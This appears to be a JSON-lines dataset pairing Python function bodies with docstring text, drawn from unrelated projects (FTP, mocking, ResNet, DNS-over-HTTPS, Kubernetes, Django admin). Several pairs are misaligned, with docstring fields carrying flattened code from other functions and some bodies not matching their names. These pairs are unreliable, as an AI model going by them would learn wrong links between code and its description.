facts=[]):\n if facts:\n self.sendcmd(\"OPTS MLST \" + \";\".join(facts) + \";\")\n if path:\n cmd = \"MLSD %s\" % path\n else:\n cmd = \"MLSD\"\n lines = []\n self.retrlines(cmd, lines.append)\n for line in lines:\n facts_found, _, name = line.rstrip(CRLF).partition(' ')\n entry = {}\n for fact in facts_found[:-1].split(\";\"):\n key, _, value = fact.partition(\"=\")\n entry[key.lower()] = value\n yield (name, entry)\n", "nl": "List a directory in a standardized format by using MLSDcommand (RFC-3659). If path is omitted the current directoryis assumed. \"facts\" is a list of strings representing the typeof information desired (e.g. [\"type\", \"size\", \"perm\"]).Return a generator object yielding a tuple of two elementsfor every file found in path.First element is the file name, the second one is a dictionaryincluding a variable number of \"facts\" depending on the serverand whether \"facts\" argument has been provided."} {"code": "def __exit__(self, *exc_info):\n result = self.__enter__()\n self._active_patches.add(self)\n return result\n\n", "nl": "Undo the patch.if not _is_started(self):raise RuntimeError('stop called on unstarted patcher')if self.is_local and self.temp_original is not DEFAULT:setattr(self.target, self.attribute, self.temp_original)else:delattr(self.target, self.attribute)if not self.create and not hasattr(self.target, self.attribute):# needed for proxy objects like django settingssetattr(self.target, self.attribute, self.temp_original)del self.temp_originaldel self.is_localdel self.targetfor patcher in reversed(self.additional_patchers):if _is_started(patcher):patcher.__exit__(*exc_info)def start(self):Activate a patch, returning any created mock."} {"code": "def resnet200d(pretrained=False, **kwargs):\n model_args = dict(\n block=Bottleneck, layers=[3, 24, 36, 3], stem_width=32, stem_type='deep', avg_down=True, **kwargs)\n return _create_resnet('resnet200d', pretrained, **model_args)\n\n\n@register_model", "nl": "Constructs a ResNet-200-D model."} {"code": "def nline(self):\n\n Returns:\n bool : True if we need to start a new line.\"\"\"\n given.\n \"\"\"", "nl": "Total number of completed lines of dots so farreturn (self.count // self.every) // self.line_len@propertydef is_newline(self):Are we at the point where we need to start a new line?"} {"code": "def write_read(self, readdict):\n pass\n\n @abstractmethod", "nl": " Write a read to the appropriate place in the file, starting froma read dictionaryArgs:readdict (dict): information about read"} {"code": "def _postcode_replace(self, postal_code_format: str) -> str:\n temp = re.sub(r\"\\?\", lambda x: self.postal_code_letter(), postal_code_format)\n return self.numerify(temp)\n", "nl": "Replaces all question mark ('?') occurrences with a random letterfrom given postal_code_format, then passes result to numerify to insertnumbers"} {"code": "def setup(self):\n data = SolomonDataSet(\n path=\"benchmarks/data/cvrptw/\", instance_name=\"C101.txt\", n_vertices=25\n )\n self.G = data.G\n self.n_vertices = 25\n self.prob = VehicleRoutingProblem(\n self.G, load_capacity=data.max_load, time_windows=True\n )\n initial_routes = [\n [\"Source\", 13, 17, 18, 19, 15, 16, 14, 12, 1, \"Sink\"],\n [\"Source\", 20, 24, 23, 22, 21, \"Sink\"],\n [\"Source\", 5, 3, 7, 8, 10, 11, 6, 4, 2, \"Sink\"],\n [\"Source\", 9, \"Sink\"],\n ]\n self.solver_args = {\n \"pricing_strategy\": \"BestPaths\",\n \"initial_routes\": initial_routes,\n }\n", "nl": "Solomon instance c101, 25 first nodes only including depot"} {"code": "def _get_publisher(name, journal):\n if journal is not None:\n publisher = journal.publisher\n AliasPublisher.increment(name, publisher)\n else:\n publisher = Publisher.find(name)\n return publisher\n\n\n @staticmethod", "nl": "Tries to find a publisher PK, based on journal or name:param name: Name of the publisher:param journal: Journal object"} {"code": "def best_matches_with_modulus_angle(match_list):\n index1 = 0\n index2 = 0\n best = math.inf\n\n for i, _ in enumerate(match_list):\n for j, _ in enumerate(match_list):\n\n pos1_model = match_list[i][0]\n pos2_model = match_list[j][0]\n\n pos1_cap = match_list[i][1]\n pos2_cap = match_list[j][1]\n\n pt1 = (pos1_model[0] - pos2_model[0], pos1_model[1] - pos2_model[1])\n pt2 = (pos1_cap[0] - pos2_cap[0], pos1_cap[1] - pos2_cap[1])\n\n if pt1 == pt2 or pt1 == (0, 0) or pt2 == (0, 0):\n continue\n\n ang = math.degrees(angle_between_vectors_2d(pt1, pt2))\n diff = ang % const.DOOR_ANGLE_HIT_STEP\n\n if diff < best:\n best = diff\n index1 = i\n index2 = j\n\n return index1, index2\n\n", "nl": "This function compare matching matches from orb feature matching,by rotating in steps over 360 degrees in order to find the best fit for door rotation."} {"code": "def cacheResult(self, *args, **kwargs):\n raise self.CacheResultArguments(args, kwargs)\n\n\n", "nl": "Raises the supplied arguments.@param args: Positional arguments@type args: L{tuple}@param kwargs: Keyword args@type kwargs: L{dict}"} {"code": "def mdi_windows(self):\n for window in self.declaration.mdi_windows():\n widget = window.proxy.widget\n if widget:\n yield widget\n", "nl": " Get the mdi windows defined for the area."} {"code": "def apply(self, nn_state, samples):\n raise NotImplementedError\n", "nl": "rComputes the value of the local-estimator of the observable :math:`O`,for a batch of samples :math:`\\lbrace \\sigma \\rbrace`:.. math::\\mathcal{O}(\\sigma) &= \\sum_{\\sigma'} \\frac{\\rho(\\sigma', \\sigma)}{\\rho(\\sigma, \\sigma)} O(\\sigma, \\sigma')= \\sum_{\\sigma'} \\frac{\\psi(\\sigma')}{\\psi(\\sigma)} O(\\sigma, \\sigma')This function must not perform any averaging for statistical purposes, as theproper analysis is delegated to the specialized`statistics` and `statistics_from_samples` methods.Must be implemented by any subclasses. Refer to the tutorial on Observablesto see an example.:param nn_state: The NeuralState that drew the samples.:type nn_state: qucumber.nn_states.NeuralStateBase:param samples: A batch of sample states to calculate the observable on.:type samples: torch.Tensor:returns: The value of the observable of each given basis state.:rtype: torch.Tensor"} {"code": "def setup_dep(self, deps):\n for dep in deps:\n dep_dir = os.path.join(self.autodir, 'deps', dep)\n try:\n self.install_pkg(dep, 'dep', dep_dir)\n except error.PackageInstallError:\n pass\n\n if not os.path.exists(dep_dir):\n raise error.TestError(\"Dependency %s does not exist\" % dep)\n\n os.chdir(dep_dir)\n if execfile('%s.py' % dep, {}) is None:\n logging.info('Dependency %s successfully built', dep)\n", "nl": "Set up the dependencies for this test.deps is a list of libraries required for this test."} {"code": "def __call__(self, environ, start_response):\n if environ.get('paste.throw_errors'):\n return self.application(environ, start_response)\n environ['paste.throw_errors'] = True\n\n try:\n __traceback_supplement__ = Supplement, self, environ\n sr_checker = ResponseStartChecker(start_response)\n app_iter = self.application(environ, sr_checker)\n return self.make_catching_iter(app_iter, environ, sr_checker)\n except:\n exc_info = sys.exc_info()\n try:\n for expect in environ.get('paste.expected_exceptions', []):\n if isinstance(exc_info[1], expect):\n raise\n start_response('500 Internal Server Error',\n [('content-type', 'text/html')],\n exc_info)\n response = self.exception_handler(exc_info, environ)\n if six.PY3:\n response = response.encode('utf8')\n return [response]\n finally:\n exc_info = None\n", "nl": "The WSGI application interface."} {"code": "def __repr__(self):\n self._initialise_ball_devices()\n self._initialise_drop_targets()\n self._initialise_drop_target_banks()\n self._initialise_score_reels()\n", "nl": "Return string representation.return '<Platform.SmartVirtual>'def _setup_log(self):self.log = logging.getLogger(\"Smart Virtual Platform\")self.debug_log(\"Configuring smart_virtual hardware interface.\")async def start(self):Initialise platform when all devices are ready."} {"code": "def create_bounced_email_test():\n\n message = create.from_string(google_delivery_failed)\n eq_(google_delivery_failed, message.to_string())\n eq_(None, message.get_attached_message())\n", "nl": "google_delivery_failed = Delivered-To: user@gmail.comContent-Type: multipart/report; boundary=f403045f50f42d03f10546f0cb14; report-type=delivery-status--f403045f50f42d03f10546f0cb14Content-Type: message/delivery-status--f403045f50f42d03f10546f0cb14Content-Type: message/rfc822MIME-Version: 1.0From: Test <test@test.com>To: fake@faketestemail.xxxContent-Type: multipart/alternative; boundary=f403045f50f42690580546f0cb4dThere should be a boundary here!--f403045f50f42d03f10546f0cb14--"} {"code": "def empty(iter): # @NoSelf\n\n Use equality operator, or == if it is unspecified.\n\n \"\"\"", "nl": "True if iterator has length 0for i in iter: # @UnusedVariablereturn Nonereturn 1@staticmethoddef equal(iter1, iter2, verbose=None, operator=lambda x, y: x == y): # @NoSelfTrue if iterator 1 has same elements as iterator 2"} {"code": "def copy_config(self, source: str, target: str) -> NetconfResponse:\n response = self._pre_copy_config(source=source, target=target)\n raw_response = self.channel.send_input_netconf(response.channel_input)\n response.record_response(raw_response)\n return response", "nl": "Netconf \"copy-config\" operationArgs:source: configuration, url, or datastore to copy into the target datastoretarget: destination to copy the source toReturns:NetconfResponse: scrapli_netconf NetconfResponse objectRaises:N/A"} {"code": "def update(self):\n Main application class.\n \"\"\"", "nl": " Move the coin # Move upself.center_y += 2# Did we go off the screen? If so, pop back to the bottom.if self.bottom > SCREEN_HEIGHT:self.top = 0class MyGame(arcade.Window):"} {"code": "def colorize_source(source):\n\n The argument may be a module, class, method, function, traceback, frame,\n or code object. The source code is returned as a single string. An\n IOError is raised if the source code cannot be retrieved.\"\"\"\n\n - sets up a history file\n - uses ipython if available to colorize lines of code\n - overrides list command to search for current block instead\n of using 5 lines of context\n \"\"\"", "nl": "colorize given sourceparser = PyColorize.Parser()output = StringIO()parser.format(source, output)return output.getvalue()def getsource(obj):Return the text of the source code for an object."} {"code": "def put(self, app):\n return impl.patch(app, flask.request.json)\n\n @webutils.delete_api(api, cors)", "nl": "Updates Treadmill application configuration.return impl.update(app, flask.request.json)@webutils.put_api(api, cors,req_model=request_model,resp_model=response_model)def patch(self, app):Updates Treadmill application configuration."} {"code": "def parameters(self):\n\n Parameters\n ----------\n X : torch.tensor, np.ndarray\n N x D input array containing N samples of dimension D\n epochs : int\n Number of training epoch\n warmup_epochs : int\n Waming-up epochs\n batch_size : int\n Batch size\n knn_graph : np.ndarray (optional)\n Array containing the indices of nearest neighbors of each sample\n output_folder : str (optional)\n Local folder where the snapshots and final model will be saved\n snapshot_freq : int\n Number of epochs to save a new snapshot\n print_every : int\n Prints useful training information every given number of steps\n retain_projector : bool\n Flag so that the projector parameters are retained after training\n dataset_val : torch.data.Dataset (optional)\n A dataset class containing evaluation data and code\n l2_norm_eval : bool\n Enables L2 normalization before evaluation (optional\n eval_every : int (optional)\n Runs evaluation every given number of epochs\n \"\"\"", "nl": "Returns the parameters of the modelif self.model is None:raise RuntimeError(\"model not initialized\")def concat_generators(*args):for gen in args:yield from genif self.model.projector is not None:return concat_generators(self.model.encoder.parameters(), self.model.projector.parameters())else:return self.model.encoder.parameters()def fit(self,X: Union[torch.tensor, np.ndarray],epochs: Optional[int] = None,warmup_epochs: Optional[int] = None,batch_size: Optional[int] = None,knn_graph: Optional[np.ndarray] = None,output_folder: Optional[str] = None,snapshot_freq: Optional[int] = None,print_every: Optional[int] = None,retain_projector: bool = False,dataset_val=None,l2_norm_eval: Optional[bool] = False,eval_every: Optional[int] = None,):Trains a model on the input data"} {"code": "def wheelUp(self, event):\n\n model, vh, table_rows, buffer_start, first_vp_row, page_step = \\\n self.mouseNavInfo('u')\n vp_rows = vh.visualIndexAt(self.viewport().height()) - first_vp_row\n if (first_vp_row < page_step + 1) and (buffer_start > 0):\n new_start = buffer_start + first_vp_row + page_step - \\\n self.wheel_step - table_rows + 1\n model.loadData(new_start, table_rows)\n self.updateView()\n self.scrollTo(\n model.index(\n new_start + table_rows - model.start - 1, 0),\n _aiv.PositionAtBottom)\n else:\n QtCore.QCoreApplication.sendEvent(self.vscrollbar, event)\n", "nl": "Setup data for wheeling with the mouse towards the first section."} {"code": "def test_initialize_with_new_spec(self):\n spec = (\"[section_1]\\n\"", "nl": "Test initializing uninitialized config with a new spec"} {"code": "def _isnan(self):\n if self._is_special:\n exp = self._exp\n if exp == 'n':\n return 1\n elif exp == 'N':\n return 2\n return 0\n", "nl": "Returns whether the number is not actually one.0 if a number1 if NaN2 if sNaN"} {"code": "def GetBucket(self, bucket_name, provider=None, fields=None):\n _ = provider\n get_fields = ListToGetFields(list_fields=fields)\n headers = self._CreateBaseHeaders()\n if self.provider == 'gs':\n headers[GOOG_PROJ_ID_HDR] = PopulateProjectId(project_id)\n try:\n provider_uri = boto.storage_uri(\n '%s://' % self.provider,\n suppress_consec_slashes=False,\n bucket_storage_uri_class=self.bucket_storage_uri_class,\n debug=self.debug)\n\n buckets_iter = provider_uri.get_all_buckets(headers=headers)\n for bucket in buckets_iter:\n if self.provider == 's3' and bucket.name.lower() != bucket.name:\n continue\n yield self._BotoBucketToBucket(bucket, fields=get_fields)\n except TRANSLATABLE_BOTO_EXCEPTIONS as e:\n self._TranslateExceptionAndRaise(e)\n", "nl": "See CloudApi class for function doc strings._ = providerbucket_uri = self._StorageUriForBucket(bucket_name)headers = self._CreateBaseHeaders()try:return self._BotoBucketToBucket(bucket_uri.get_bucket(validate=True,headers=headers),fields=fields)except TRANSLATABLE_BOTO_EXCEPTIONS as e:self._TranslateExceptionAndRaise(e, bucket_name=bucket_name)def ListBuckets(self, project_id=None, provider=None, fields=None):See CloudApi class for function doc strings."} {"code": "def test_login(self):\n with self.assertRaises(AuthMissingParameter):\n self.do_start()\n", "nl": "Test that we can authenticate with a SAML IdP (TestShib)# pretend we've started with a URL like /login/saml/?idp=testshib:self.strategy.set_request_data({'idp': 'testshib'}, self.backend)self.do_login()def test_login_no_idp(self):Logging in without an idp param should raise AuthMissingParameter"} {"code": "def quantile(self, q=0.5, interpolation='linear'):\n\n self._check_percentile(q)\n\n df = self.to_frame()\n\n result = df.quantile(q=q, interpolation=interpolation,\n numeric_only=False)\n if result.ndim == 2:\n result = result.iloc[:, 0]\n\n if is_list_like(q):\n result.name = self.name\n return self._constructor(result,\n index=Float64Index(q),\n name=self.name)\n else:\n return result.iloc[0]\n", "nl": "Return value at the given quantile.Parameters----------q : float or array-like, default 0.5 (50% quantile)0 <= q <= 1, the quantile(s) to computeinterpolation : {'linear', 'lower', 'higher', 'midpoint', 'nearest'}.. versionadded:: 0.18.0This optional parameter specifies the interpolation method to use,when the desired quantile lies between two data points `i` and `j`:* linear: `i + (j - i) * fraction`, where `fraction` is thefractional part of the index surrounded by `i` and `j`.* lower: `i`.* higher: `j`.* nearest: `i` or `j` whichever is nearest.* midpoint: (`i` + `j`) / 2.Returns-------quantile : float or Seriesif ``q`` is an array, a Series will be returned where theindex is ``q`` and the values are the quantiles.See Also--------core.window.Rolling.quantilenumpy.percentileExamples-------->>> s = pd.Series([1, 2, 3, 4])>>> s.quantile(.5)2.5>>> s.quantile([.25, .5, .75])0.25 1.750.50 2.500.75 3.25dtype: float64"} {"code": "def index(self, idx):\n return self.index_map[idx]\n", "nl": "Get the original index of an operation in this run.:Parameters:- `idx`: The Run index that maps to the original index."} {"code": "def cell_measures(self) -> dict[str, list[str]]:\n\n obj = self._obj\n all_attrs = [\n ChainMap(da.attrs, da.encoding).get(\"cell_measures\", \"\")\n for da in obj.coords.values()\n ]\n if isinstance(obj, DataArray):\n all_attrs += [ChainMap(obj.attrs, obj.encoding).get(\"cell_measures\", \"\")]\n elif isinstance(obj, Dataset):\n all_attrs += [\n ChainMap(da.attrs, da.encoding).get(\"cell_measures\", \"\")\n for da in obj.data_vars.values()\n ]\n as_dataset = self._maybe_to_dataset().reset_coords()\n\n keys = {}\n for attr in set(all_attrs):\n try:\n keys.update(parse_cell_methods_attr(attr))\n except ValueError:\n bad_vars = list(\n as_dataset.filter_by_attrs(cell_measures=attr).data_vars.keys()\n )\n warnings.warn(\n f\"Ignoring bad cell_measures attribute: {attr} on {bad_vars}.\",\n UserWarning,\n stacklevel=2,\n )\n measures = {\n key: self._drop_missing_variables(_get_all(self._obj, key)) for key in keys\n }\n\n return {k: sorted(set(v)) for k, v in measures.items() if v}\n", "nl": "Property that returns a dictionary mapping valid cell measure standard names for ``.cf[]``to variable names.This is useful for checking whether a key is valid for indexing, i.e.that the attributes necessary to allow indexing by that key exist.Returns-------dictDictionary of valid cell measure names that can be used with ``__getitem__`` or ``.cf[key]``."} {"code": "def __attackDamageForTgt(self, attack, tgtPos, suit=0):\n if suit:\n return attack[SUIT_HP_COL][tgtPos]\n else:\n return attack[TOON_HP_COL][tgtPos]\n", "nl": "attack, the attack to find the damage forsuit, 1 if the attack is a suit attack, 0 otherwiseReturns: damage done to one of the targets, 0 if no damagewas doneAsk how much damage an attack did to a specifictarget"} {"code": "def format_labels(self, Type):\n\n Tz = pytz.timezone(self.app.config['Station']['Timezone'])\n Now = datetime.now(pytz.utc).astimezone(Tz)\n\n if self.app.config['Display']['TimeFormat'] == '12 hr':\n if self.app.config['System']['Hardware'] == 'Other':\n time_format = '%\n else:\n time_format = '%-I:%M %p'\n else:\n time_format = '%H:%M'\n\n if Type == 'sun':\n if Now.date() == self.astro_data['Sunrise'][0].date():\n self.astro_data['Sunrise'][1] = self.astro_data['Sunrise'][0].strftime(time_format)\n self.astro_data['Sunset'][1] = self.astro_data['Sunset'][0].strftime(time_format)\n self.astro_data['Reformat'] = 0\n else:\n self.astro_data['Sunrise'][1] = self.astro_data['Sunrise'][0].strftime(time_format) + ' (+1)'\n self.astro_data['Sunset'][1] = self.astro_data['Sunset'][0].strftime(time_format) + ' (+1)'\n self.astro_data['Reformat'] = 1\n\n elif Type == 'moon':\n\n if Now.date() == self.astro_data['Moonrise'][0].date():\n self.astro_data['Moonrise'][1] = self.astro_data['Moonrise'][0].strftime(time_format)\n elif Now.date() < self.astro_data['Moonrise'][0].date():\n self.astro_data['Moonrise'][1] = self.astro_data['Moonrise'][0].strftime(time_format) + ' (+1)'\n else:\n self.astro_data['Moonrise'][1] = self.astro_data['Moonrise'][0].strftime(time_format) + ' (-1)'\n\n if Now.date() == self.astro_data['Moonset'][0].date():\n self.astro_data['Moonset'][1] = self.astro_data['Moonset'][0].strftime(time_format)\n elif Now.date() < self.astro_data['Moonset'][0].date():\n self.astro_data['Moonset'][1] = self.astro_data['Moonset'][0].strftime(time_format) + ' (+1)'\n else:\n self.astro_data['Moonset'][1] = self.astro_data['Moonset'][0].strftime(time_format) + ' (-1)'\n\n if self.astro_data['FullMoon'][1].date() == Now.date():\n self.astro_data['FullMoon'] = ['[color=ff8837ff]Today[/color]', self.astro_data['FullMoon'][1]]\n\n elif self.astro_data['NewMoon'][1].date() == Now.date():\n self.astro_data['NewMoon'] = ['[color=ff8837ff]Today[/color]', self.astro_data['NewMoon'][1]]\n\n self.update_display()\n", "nl": " Format the sunrise/sunset labels and moonrise/moonset labels based onthe current time of day in the station timezoneINPUTS:self.astro_data Dictionary holding sunrise/sunset and moonrise/moonsetdataConfig Station configurationType Flag specifying whether to format sun or moon dataOUTPUT:self.astro_data Dictionary holding moonrise and moonset data"} {"code": "def __str__(self):\n return self.name\n\n\nTEST_QUEUE: Queue = Queue()\n\ntest_data = [\n Scenario(\n name=\"Validate args passed to runner API\",\n container_engine=\"docker\",\n container_options=[\"--net=host\"],\n execution_environment_image=\"quay.io/ansible/network-ee:latest\",\n execution_environment=True,\n inventory=[\"/test1/inv1\", \"/test2/inv2\"],\n playbook_artifact_enable=False,\n mode=\"stdout\",\n pass_environment_variable=[\"pass_env1\", \"pass_env2\"],\n set_environment_variable={\"setvar1\": \"env1\", \"setvar2\": \"env2\"},\n playbook=\"~/site.yaml\",\n container_volume_mounts=[\n \"/home/on_host/vol1:/home/in_container/vol1:Z\",\n \"~/vol2:/home/user/vol2\",\n ],\n help_playbook=True,\n cmdline=[\"--tags\", \"test\"],\n private_data_dir=\"/tmp/test1\",\n rotate_artifacts=10,\n timeout=200,\n expected={\n \"executable_cmd\": \"ansible-playbook\",\n \"queue\": TEST_QUEUE,\n \"container_engine\": \"docker\",\n \"container_options\": [\"--net=host\"],\n \"execution_environment_image\": \"quay.io/ansible/network-ee:latest\",\n \"execution_environment\": True,\n \"inventory\": [\"/test1/inv1\", \"/test2/inv2\"],\n \"navigator_mode\": \"stdout\",\n \"pass_environment_variable\": [\"pass_env1\", \"pass_env2\"],\n \"set_environment_variable\": {\"setvar1\": \"env1\", \"setvar2\": \"env2\"},\n \"playbook\": \"~/site.yaml\",\n \"container_volume_mounts\": [\n \"/home/on_host/vol1:/home/in_container/vol1:Z\",\n \"~/vol2:/home/user/vol2\",\n ],\n \"cmdline\": [\"--help\", \"--tags\", \"test\"],\n \"host_cwd\": str(Path.cwd()),\n \"private_data_dir\": \"/tmp/test1\",\n \"rotate_artifacts\": 10,\n \"timeout\": 200,\n },\n ),\n]\n\n\n@pytest.mark.parametrize(\"data\", test_data, ids=str)", "nl": "Provide the test id.:returns: The test id"} {"code": "def check_throttles(self, request):\n for throttle in self.get_throttles():\n if not throttle.allow_request(request, self):\n self.throttled(request, throttle.wait())\n", "nl": "Check if request should be throttled.Raises an appropriate exception if the request is throttled."} {"code": "def pytest_testnodeready(node):\n\n\n@pytest.hookspec()", "nl": "Test Node is ready to operate.@pytest.hookspec()def pytest_testnodedown(node, error):Test Node is down."} {"code": "def test_printFingerprint(self):\n filename = self.mktemp()\n FilePath(filename).setContent(publicRSA_openssh)\n printFingerprint({'filename': filename,\n 'format': 'md5-hex'})\n self.assertEqual(\n self.stdout.getvalue(),\n '768 3d:13:5f:cb:c9:79:8a:93:06:27:65:bc:3d:0b:8f:af temp\\n')\n\n", "nl": "L{printFingerprint} writes a line to standard out giving the number ofbits of the key, its fingerprint, and the basename of the file from itwas read."} {"code": "def __add__(self, other):\n\n The following attributes are available from instances of this exception:\n\n manager\n The resource manager that raised this exception\n\n cache_path\n The base directory for resource extraction\n\n original_error\n The exception instance that caused extraction to fail\n \"\"\"\n extraction_path = None\n", "nl": "Add an environment or distribution to an environmentnew = self.__class__([], platform=None, python=None)for env in self, other:new += envreturn new# XXX backward compatibilityAvailableDistributions = Environmentclass ExtractionError(RuntimeError):An error occurred extracting a resource"} {"code": "def device_is_dm_crypt(info):\n is_crypt = device_dm_subsystem_match(info, \"crypt\")\n try:\n _type = info.get(\"DM_UUID\", \"\").split(\"-\")[1].lower()\n except IndexError:\n _type = \"\"\n\n return is_crypt and _type.startswith(\"luks\")\n\n", "nl": " Return True if the device is a mapped dm-crypt device. return device_dm_subsystem_match(info, \"crypt\")def device_is_dm_luks(info): Return True if the device is a mapped LUKS device. "} {"code": "def _check_current_heroku_settings(self, heroku_setting):\n return any(heroku_setting in line for line in self.current_heroku_settings_lines)\n\n", "nl": "Check if a setting has already been defined in the heroku-specificsettings section."} {"code": "def test_generator_inference(self):\n output_imgs, _ = cyclegan.cyclegan_generator_resnet(tf.ones(shape))\n self.assertAllEqual(shape, output_imgs.shape.as_list())\n", "nl": "Check one inference step.img_batch = tf.zeros([2, 32, 32, 3])model_output, _ = cyclegan.cyclegan_generator_resnet(img_batch)with self.test_session() as sess:sess.run(tf.global_variables_initializer())sess.run(model_output)def _test_generator_graph_helper(self, shape):Check that generator can take small and non-square inputs."} {"code": "def init_kubelet(self, instance):\n if self.left_init_retries == 0:\n raise Exception(\"Kubernetes client initialization failed permanently. \"\n \"Kubernetes-related features will fail.\")\n\n now = time.time()\n\n if self.last_init_retry and now <= self.last_init_retry + self.init_retry_interval:\n return\n self.last_init_retry = now\n self.left_init_retries -= 1\n\n try:\n self.kubelet_api_url = self._locate_kubelet(instance)\n except Exception as ex:\n log.error(\"Failed to initialize kubelet connection. Will retry %s time(s). Error: %s\" % (self.left_init_retries, str(ex)))\n return\n if not self.kubelet_api_url:\n log.error(\"Failed to initialize kubelet connection. Will retry %s time(s).\" % self.left_init_retries)\n return\n\n self.init_success = True\n\n self.kubelet_host = self.kubelet_api_url.split(':')[1].lstrip('/')\n self.pods_list_url = urljoin(self.kubelet_api_url, KubeUtil.PODS_LIST_PATH)\n self.kube_health_url = urljoin(self.kubelet_api_url, KubeUtil.KUBELET_HEALTH_PATH)\n\n try:\n self.self_namespace = self.get_self_namespace()\n except Exception:", "nl": "Handles the retry logic around _locate_kubelet.Once _locate_kubelet succeeds, initialize all kubelet-relatedURLs and settings."} {"code": "def uninstall_decap_flows(self, port_chain, flow_classifier):\n pass\n\n @abc.abstractmethod", "nl": "Reverse the installed flows of the above"} {"code": "def flac_remove_empty_seektable(file):\n seektable = file.seektable\n if seektable and not seektable.seekpoints:\n file.metadata_blocks = [b for b in file.metadata_blocks if b != file.seektable]\n file.seektable = None\n\n\nclass VCommentFile(File):\n\n \"\"\"Generic VComment-based file.\"\"\"", "nl": "Removes an existing but empty seektable from the Flac file.Some software has issues with files that contain an empty seek table. Sinceno seektable is also valid, remove it."} {"code": "def from_csv(location, title=\"\", description=\"\"):\n\n Reasonably expensive, don't call unless you are about to render the table.\"\"\"", "nl": " Load the table from a csv file. #reader = unicode_csv.UnicodeCsvReader( open(location, 'rb') )reader = csv.reader( open(location, 'rb') )new_table = Table()new_table.title = titlenew_table.description = descriptionfor row in reader:for column in row:new_table.append_column( column )breakapp = new_table.rows.append[ app( row ) for row in reader ]return new_tabledef convert_to_unicode(self): Convert the entire contents of the table to unicode."} {"code": "def action(self, state: np.ndarray) -> np.ndarray:\n action = self.action(state)\n return np.clip(action + self.action_noise(), -1., 1.)\n\n @tf.function", "nl": "Get the action for a single state.return self.actor(np.expand_dims(state, 0), training=False)[0]def noise_action(self, state: np.ndarray):Choose an action based on the actor and exploration noise."} {"code": "def get_dns_data_from_doh_server(name, type):\n tag = 'DoH_Request_Format'\n doh_server = 'https://cloudflare-dns.com/dns-query?'\n doh_header = {'accept': 'application/dns-json'}\n final_doh_request_url = doh_server + 'name=' + name + '&type=' + type\n res = json.loads(requests.get(final_doh_request_url, headers=doh_header).text)['Answer']\n d_list = []\n for per_dns_data in res:\n if per_dns_data['type'] == 1:\n a_record = per_dns_data['data']\n d_list.append(a_record)\n print_with_tag(tag, ['Index Of DNS Record:', str(len(d_list))])\n print_with_tag(tag, ['Domain', name, 'A record found.'])\n print_with_tag(tag, ['A record:', a_record])\n ip_latency = {}\n for per_ip in d_list:\n ip_latency[str(ip_latency_test(per_ip))] = per_ip\n print_with_tag(tag, 'Selecting best ip node..')\n all_latency_keys = list(ip_latency.keys())\n all_latency_keys.sort(key=float)\n best_latency = all_latency_keys[0]\n best_node = ip_latency[best_latency]\n print_with_tag(tag, ['Selected:', best_node, 'for lowest latency:', best_latency])\n return best_node\n\n", "nl": ":param name: str ['pixiv.net'...]:param type: str ['A','AAAA'...]:return:strFAQ:https://developers.cloudflare.com/1.1.1.1/dns-over-https/json-format/"} {"code": "def testOpenDecorator(self):\n host1 = \"host1\"\n host2 = \"host2\"\n tempdir = tempfile.mkdtemp()\n tempfile1 = tempfile.mktemp(suffix='.cfg')\n tempfile2 = os.path.join(tempdir, 'file2.cfg')\n\n with open(tempfile1, 'w') as f:", "nl": " Makes sure the fake nagios environment cannot go outside its directory # Try to open a regular fileself.environment.config.open(self.environment.config.cfg_file).close()self.assertTrue(True, \"Successfully opened nagios.cfg\")try:self.environment.config.open(\"/etc/passwd\").close()self.assertTrue(False, \"I was able to open a file outside my tempdir!\")except PynagError:passdef testUpdateModel_NoRestore(self):self.environment.update_model()def testLivestatus(self):host_name = \"localhost\"self.environment.update_model()pynag.Model.Host(host_name=host_name, use=\"generic-host\").save()self.environment.guess_livestatus_path()self.environment.configure_livestatus()self.environment.start()livestatus = self.environment.get_livestatus()hosts = livestatus.get_hosts(name=host_name)self.assertTrue(hosts, \"Could not find a host called %s\" % (host_name))def testImports(self): Test FakeNagiosEnvironment.import_config() "} {"code": "def meta_set(self, key, metafield, value):", "nl": " Set the meta field for a key to a new value. This triggers theon-change handler for existing keys. "} {"code": "def test_verify_checksums(self):\n fh = open(os.path.join(self.path, 'acc.gse'), 'rb')\n libgse1.read(fh, verify_chksum=True)\n fh.close()\n fh = open(os.path.join(self.path, 'y2000.gse'), 'rb')\n libgse1.read(fh, verify_chksum=True)\n fh.close()\n fh = open(os.path.join(self.path, 'loc_STAU20031119011659.z'), 'rb')\n libgse1.read(fh, verify_chksum=True)\n fh.close()\n fh = open(os.path.join(self.path, 'GRF_031102_0225.GSE.wrong_chksum'),\n 'rb')\n libgse1.read(fh, verify_chksum=True)\n self.assertRaises(ChksumError, libgse1.read, fh, verify_chksum=True)\n fh.close()\n\n", "nl": "Tests verifying checksums for CM6 encoded GSE1 files."} {"code": "def clean(self):\n super(ValidateZoneMixin, self).clean()\n if any(self.errors):\n return\n is_host = True\n for form in self.forms:\n if form.cleaned_data.get('type') in (Record.TXT, Record.SRV, Record.CNAME):\n is_host = False\n break\n domain_names = []\n if self.instance.name:\n domain_names.append(self.instance.name)\n domain_names.extend(getattr(self.instance, 'extra_names', []))\n errors = []\n for name in domain_names:\n records = []\n for form in self.forms:\n data = form.cleaned_data\n if data and not data['DELETE']:\n records.append(data)\n if '_' in name and is_host:\n errors.append(ValidationError(\n _(\"%s: Hosts can not have underscore character '_', consider providing a SRV, CNAME or TXT record.\") % name\n ))\n domain = domain_for_validation(self.instance, records)\n try:\n validators.validate_zone(domain.render_zone())\n except ValidationError as error:\n for msg in error:\n errors.append(\n ValidationError(\"%s: %s\" % (name, msg))\n )\n if errors:\n raise ValidationError(errors)\n\n\nclass RecordEditFormSet(ValidateZoneMixin, AdminFormSet):\n pass\n\n\nclass RecordInlineFormSet(ValidateZoneMixin, forms.models.BaseInlineFormSet):\n pass\n\n\nclass SOAForm(AdminFormMixin, forms.Form):\n refresh = forms.CharField()\n clear_refresh = forms.BooleanField(label=_(\"Clear refresh\"), required=False,\n help_text=_(\"Remove custom refresh value for all selected domains.\"))\n retry = forms.CharField()\n clear_retry = forms.BooleanField(label=_(\"Clear retry\"), required=False,\n help_text=_(\"Remove custom retry value for all selected domains.\"))\n expire = forms.CharField()\n clear_expire = forms.BooleanField(label=_(\"Clear expire\"), required=False,\n help_text=_(\"Remove custom expire value for all selected domains.\"))\n min_ttl = forms.CharField()\n clear_min_ttl = forms.BooleanField(label=_(\"Clear min TTL\"), required=False,\n help_text=_(\"Remove custom min TTL value for all selected domains.\"))\n", "nl": " inherit related parent domain account, when exists cleaned_data = super().clean()if not cleaned_data['account']:account = Nonedomain_names = []if 'name' in cleaned_data:first = 